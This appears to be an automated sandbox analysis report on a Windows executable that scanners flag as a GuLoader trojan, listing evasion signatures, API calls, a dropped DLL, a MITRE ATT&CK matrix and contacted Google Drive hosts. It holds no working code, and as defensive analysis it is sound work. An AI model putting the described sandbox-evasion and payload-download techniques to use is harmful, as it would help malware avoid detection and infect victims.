Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	API/Special instruction interceptor: Address: 2FC20BD
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	API/Special instruction interceptor: Address: 1BF20BD

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe TID: 4220

Thread sleep time: -280000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,	0_2_0040646B
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_004027A1 FindFirstFileA,	0_2_004027A1
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004058BF

Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511514177.0000000006E5E000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	API call chain: ExitProcess graph end node			graph_0-4007
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	API call chain: ExitProcess graph end node			graph_0-4012

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_70051A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_70051A98

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Process created: C:\Users\user\Desktop\fbXZ4ErQMU.exe "C:\Users\user\Desktop\fbXZ4ErQMU.exe"

Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

0_2_00403348

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fbXZ4ErQMU.exe	100%	Avira	TR/Injector.otkux
fbXZ4ErQMU.exe	61%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.217.238	true	false		high
drive.usercontent.google.com	142.250.64.193	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/lifornia1	fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/;	fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	fbXZ4ErQMU.exe, fbXZ4ErQMU.exe, 00000000.00000000.51418151882.000000000040A000.00000008.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000003.00000000.52634286184.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/8	fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/nt.youtube.com	fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		high
https://drive.google.com/0	fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/g	fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com	fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057812723.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.quovadis.bm0	fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511591295.0000000006E7A000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511638576.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006E90000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53400172887.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53170207947.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53730137731.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	fbXZ4ErQMU.exe, 00000000.00000000.51418151882.000000000040A000.00000008.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmp, fbXZ4ErQMU.exe, 00000003.00000000.52634286184.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	fbXZ4ErQMU.exe, 00000003.00000003.52719057837.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726802352.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000002.56511770044.0000000006EBA000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839760041.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
